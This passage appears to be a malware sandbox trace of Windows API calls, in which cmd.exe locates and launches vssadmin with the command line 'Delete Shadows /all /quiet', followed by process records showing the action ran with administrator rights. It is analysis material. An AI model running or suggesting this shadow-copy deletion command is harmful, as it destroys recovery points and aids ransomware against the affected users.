	[0091.917] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0091.918] ??_V@YAXPAX@Z () returned 0x1
	[0091.918] GetProcessHeap () returned 0x640000
	[0091.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xffd6) returned 0x648d08
	[0091.919] GetProcessHeap () returned 0x640000
	[0091.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x52) returned 0x647ab8
	[0091.919] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0091.919] malloc (_Size=0xffce) returned 0x9a25f8
	[0091.919] ??_V@YAXPAX@Z () returned 0x3eef24
	[0091.919] GetProcessHeap () returned 0x640000
	[0091.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x1ffa4) returned 0x658ce8
	[0091.921] SetErrorMode (uMode=0x0) returned 0x0
	[0091.921] SetErrorMode (uMode=0x1) returned 0x0
	[0091.921] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x658cf0, lpFilePart=0x3eef44 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x3eef44*="Desktop") returned 0x17
	[0091.921] SetErrorMode (uMode=0x0) returned 0x1
	[0091.921] GetProcessHeap () returned 0x640000
	[0091.921] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x658ce8, Size=0x4a) returned 0x658ce8
	[0091.921] GetProcessHeap () returned 0x640000
	[0091.921] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x658ce8) returned 0x4a
	[0091.921] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0091.921] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0091.921] GetProcessHeap () returned 0x640000
	[0091.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x1b4) returned 0x647b18
	[0091.921] GetProcessHeap () returned 0x640000
	[0091.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x360) returned 0x647cd8
	[0091.927] GetProcessHeap () returned 0x640000
	[0091.927] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x647cd8, Size=0x1b6) returned 0x647cd8
	[0091.927] GetProcessHeap () returned 0x640000
	[0091.927] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x647cd8) returned 0x1b6
	[0091.927] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0091.927] GetProcessHeap () returned 0x640000
	[0091.927] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xe0) returned 0x647e98
	[0091.927] GetProcessHeap () returned 0x640000
	[0091.927] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x647e98, Size=0x76) returned 0x647e98
	[0091.927] GetProcessHeap () returned 0x640000
	[0091.927] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x647e98) returned 0x76
	[0091.927] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0091.928] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x3eecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3eecd0) returned 0xffffffff
	[0091.928] GetLastError () returned 0x2
	[0091.928] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0091.928] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x3eecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3eecd0) returned 0xffffffff
	[0091.928] GetLastError () returned 0x2
	[0091.928] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0091.928] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x3eecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3eecd0) returned 0x647f18
	[0091.928] GetProcessHeap () returned 0x640000
	[0091.928] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14) returned 0x647f58
	[0091.928] FindClose (in: hFindFile=0x647f18 | out: hFindFile=0x647f18) returned 1
	[0091.928] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x3eecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3eecd0) returned 0xffffffff
	[0091.929] GetLastError () returned 0x2
	[0091.929] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x3eecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3eecd0) returned 0x647f18
	[0091.929] GetProcessHeap () returned 0x640000
	[0091.929] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x647f58, Size=0x4) returned 0x647f58
	[0091.929] FindClose (in: hFindFile=0x647f18 | out: hFindFile=0x647f18) returned 1
	[0091.929] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0091.929] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0091.929] ??_V@YAXPAX@Z () returned 0x1
	[0091.929] GetConsoleTitleW (in: lpConsoleTitle=0x3ef1d4, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0091.929] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ef100, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ef0ec | out: lpAttributeList=0x3ef100, lpSize=0x3ef0ec) returned 1
	[0091.929] UpdateProcThreadAttribute (in: lpAttributeList=0x3ef100, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ef0e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ef100, lpPreviousValue=0x0) returned 1
	[0091.929] GetStartupInfoW (in: lpStartupInfo=0x3ef138 | out: lpStartupInfo=0x3ef138*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0091.930] GetProcessHeap () returned 0x640000
	[0091.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x18) returned 0x647f18
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0091.930] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0091.931] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0091.931] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0091.931] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0091.931] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0091.931] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0091.931] GetProcessHeap () returned 0x640000
	[0091.931] RtlFreeHeap (HeapHandle=0x640000, Flags=0x0, BaseAddress=0x647f18) returned 1
	[0091.931] GetProcessHeap () returned 0x640000
	[0091.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xa) returned 0x647f18
	[0091.931] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0091.932] _get_osfhandle (_FileHandle=1) returned 0x90
	[0091.932] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0091.932] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0091.932] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0091.933] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x3ef088*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  Delete Shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3ef0d4 | out: lpCommandLine="vssadmin  Delete Shadows /all /quiet", lpProcessInformation=0x3ef0d4*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xed8, dwThreadId=0x1250)) returned 1
	[0091.945] CloseHandle (hObject=0xdc) returned 1
	[0091.945] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0091.945] GetProcessHeap () returned 0x640000
	[0091.945] RtlFreeHeap (HeapHandle=0x640000, Flags=0x0, BaseAddress=0x646c00) returned 1
	[0091.945] GetEnvironmentStringsW () returned 0x646c00*
	[0091.945] GetProcessHeap () returned 0x640000
	[0091.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xb1a) returned 0x644b78
	[0091.946] FreeEnvironmentStringsA (penv="=") returned 1
	[0091.946] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0092.284] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x3ef06c | out: lpExitCode=0x3ef06c*=0x2) returned 1
	[0092.284] CloseHandle (hObject=0xe0) returned 1
	[0092.284] _vsnwprintf (in: _Buffer=0x3ef154, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ef074 | out: _Buffer="00000002") returned 8
	[0092.284] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0092.285] GetProcessHeap () returned 0x640000
	[0092.285] RtlFreeHeap (HeapHandle=0x640000, Flags=0x0, BaseAddress=0x644b78) returned 1
	[0092.285] GetEnvironmentStringsW () returned 0x644b78*
	[0092.286] GetProcessHeap () returned 0x640000
	[0092.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xb40) returned 0x659888
	[0092.286] FreeEnvironmentStringsA (penv="=") returned 1
	[0092.286] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0092.286] GetProcessHeap () returned 0x640000
	[0092.286] RtlFreeHeap (HeapHandle=0x640000, Flags=0x0, BaseAddress=0x659888) returned 1
	[0092.286] GetEnvironmentStringsW () returned 0x644b78*
	[0092.286] GetProcessHeap () returned 0x640000
	[0092.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xb40) returned 0x659888
	[0092.286] FreeEnvironmentStringsA (penv="=") returned 1
	[0092.286] GetProcessHeap () returned 0x640000
	[0092.286] RtlFreeHeap (HeapHandle=0x640000, Flags=0x0, BaseAddress=0x647f18) returned 1
	[0092.286] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ef100 | out: lpAttributeList=0x3ef100) 
	[0092.286] ??_V@YAXPAX@Z () returned 0x1
	[0092.286] _get_osfhandle (_FileHandle=1) returned 0x90
	[0092.286] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0092.312] _get_osfhandle (_FileHandle=1) returned 0x90
	[0092.314] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0092.321] _get_osfhandle (_FileHandle=1) returned 0x90
	[0092.321] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0092.337] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0092.337] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0092.349] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0092.349] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0092.355] SetConsoleInputExeNameW () returned 0x1
	[0092.356] GetConsoleOutputCP () returned 0x1b5
	[0092.363] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0092.364] SetThreadUILanguage (LangId=0x0) returned 0x400409
	[0092.418] exit (_Code=2) 
	[0092.418] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 139
	os_tid = 0xf88


Process:
	id = "42"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x5731e000"
	os_pid = "0xed0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "41"
	os_parent_pid = "0x3fc"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 136
	os_tid = 0xf58


Thread:
	id = 137
	os_tid = 0x12bc


Thread:
	id = 138
	os_tid = 0xfac


Process:
	id = "43"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x1c7b3000"
	os_pid = "0xed8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "41"
	os_parent_pid = "0x3fc"
	cmd_line = "vssadmin  Delete Shadows /all /quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 140
	os_tid = 0x1250


Thread:
	id = 141
	os_tid = 0xe8c


Thread:
	id = 142
	os_tid = 0xf2c


Thread:
	id = 143
	os_tid = 0xf28


Thread:
	id = 144
	os_tid = 0xd7c